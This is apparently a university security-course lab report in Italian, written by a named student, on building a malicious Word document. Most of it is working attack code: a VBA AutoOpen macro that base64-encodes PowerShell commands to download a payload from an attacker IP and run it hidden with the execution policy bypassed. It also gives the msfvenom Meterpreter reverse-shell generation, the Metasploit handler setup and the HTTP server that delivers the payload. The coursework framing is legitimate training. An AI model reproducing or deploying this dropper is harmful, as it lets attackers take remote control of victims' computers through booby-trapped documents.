REPORT DOCUMENTO MALEVOLO

*Nome Cognome Farina Christian*

*Matricola VR501577*

*Email christian.farina@studenti.univr.it*

# COMANDO POWERSHELL

In questa sezione dovete presentare il codice del comando Powershel e le tecniche adottate per codificarlo in base 64.

**COMANDI POWERSHELL**

comandoDaEseguire= "(New-Object Net.WebClient).DownloadFile('" & "http://ipattaccante:porta/payload.exe" & "', '" & "percorso\dove\voglio\salvare\virus.exe " & "')"

comandoDaEseguire2= " & 'percorso\dove\è\salvato\virus.exe'"

' Esegui il comando PowerShell per scaricare il file malevolo

shell.Run "powershell.exe -NoProfile -ExecutionPolicy Bypass -Command " & comandoDaEseguire, 0, True

' Esegui il comando PowerShell per eseguire il file malevolo

shell.Run "powershell.exe -NoProfile -ExecutionPolicy Bypass -Command " & comandoDaEseguire2, 0, True

**TECNICHE DI CODIFICA**

Per la codifica ho utilizzato due metodi in VBA che codificano stringhe date in input, in un contest reale le stringhe sarebbero state date direttamente codificate come input del decodificatore di VBA, tuttavia per fini didattici ho inserito I due metodi all’interno del codice del file malevolo per mostrarne il funzionamento. Il programma infatti esegue I seguenti passaggi:

1 Inizializza le stringhe coi comandi

2 Codifica le stringhe

3 Decodifica le stringhe

4 Esegue I comandi decodificati

**METODI USATI PER CODIFICARE I COMANDI**

' codifica una stringa in input in base 64 e restituisce la stringa codificata

Function EncodeBase64(str As String) As String

Dim objXML As Object

Dim objNode As Object

' Crea un oggetto XML

Set objXML = CreateObject("MSXML2.DOMDocument")

Set objNode = objXML.createElement("b64")

' Imposta il testo del nodo con il comando da codificare

objNode.dataType = "bin.base64"

objNode.nodeTypedValue = stringaABinario(str)

' Restituisci il risultato della codifica base64

EncodeBase64 = objNode.text

' Libera l'oggetto XML

Set objNode = Nothing

Set objXML = Nothing

End Function

' Converte una stringa in input in dati binari

Function stringaABinario(s As String) As Variant

Dim ado As Object

Set ado = CreateObject("ADODB.Stream")

ado.Type = 2 ' adTypeText

ado.Charset = "us-ascii"

ado.Open

ado.WriteText s

ado.Position = 0

ado.Type = 1 ' adTypeBinary

stringaABinario = ado.Read

ado.Close

Set ado = Nothing

End Function

# VBA MACRO

In questa sezione dovete presentare il codice della macro prima che venga offuscato, le tecniche adottate per offuscare il codice e il codice della macro offuscato.

**CODICE MACRO**

Sub AutoOpen()

Dim comandoDecodificato As String

Dim comandoDecodificato2 As String

Dim codificato As String

Dim codificato2 As String

Dim comandoBase64 As String

Dim comandoDaEseguire As String

Dim comandoDaEseguire2 As String

Dim shell As Object

Set shell = VBA.CreateObject("WScript.Shell")

' comando per scaricare il file malevolo

comandoDecodificato = "(New-Object Net.WebClient).DownloadFile('" & "http://192.168.1.98:8000/payload.exe" & "', '" & "C:\Users\crist\Downloads\virus.exe" & "')"

' comando per eseguire il file malevolo

comandoDecodificato2 = " & 'C:\Users\crist\Downloads\virus.exe'"

' codifico i comandi (questa parte non dovrebb esserci, è solo a scopo dimostrativo)

codificato = EncodeBase64(comandoDecodificato)

codificato2 = EncodeBase64(comandoDecodificato2)

' Comando PowerShell codificato in base64, serve per convertire le stringhe da base64

comandoBase64 = "IEX([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('BASE64\_ENCODED\_COMMAND')))"

' decodifico i due comandi da base64 a normali

comandoDaEseguire = Replace(comandoBase64, "BASE64\_ENCODED\_COMMAND", codificato)

comandoDaEseguire2 = Replace(comandoBase64, "BASE64\_ENCODED\_COMMAND", codificato2)

' Eseguo il comando PowerShell per scaricare il file malevolo

shell.Run "powershell.exe -NoProfile -ExecutionPolicy Bypass -Command " & comandoDaEseguire, 0, True

' Eseguo il comando PowerShell per eseguire il file malevolo

shell.Run "powershell.exe -NoProfile -ExecutionPolicy Bypass -Command " & comandoDaEseguire2, 0, True

' Rilascio l'oggetto

Set shell = Nothing

End Sub

**CODICE MACRO OFFUSCATO**

# INFRASTRUTTURA ATTACCO

In questa sezione dovete presentare le macchine virtuali utilizzate per condurre l’attacco e come sono state configurate.

**ATTACCANTE**

L’attaccante è la macchina Kali Linux usata a lezione con un ip statico, il software utilizzato per creare il server C2 è Metasploit, è stato utilizzato il metodo visto a lezione, di seguito riporto i comandi:

//creo il software malevolo da scaricare nella macchina della vittima

msfvenom -p windows/meterpreter/reverse\_tcp LHOST=ipAttaccante LPORT=porta -f exe > payload.exe

//metto in ascolto il server

use exploit/multi/handler

set PAYLOAD windows/meterpreter/reverse\_tcp

set LHOST ipAttaccante

set LPORT porta

exploit

// metto in ascolto un altro server per permettere di scaricare il payload malevolo

python -m http.server 8000

**VITTIMA**

La vittima è una macchina Windows con Windows Defender disabilitato e con pacchetto Office installato (per permettere l’apertura del document Word malevolo)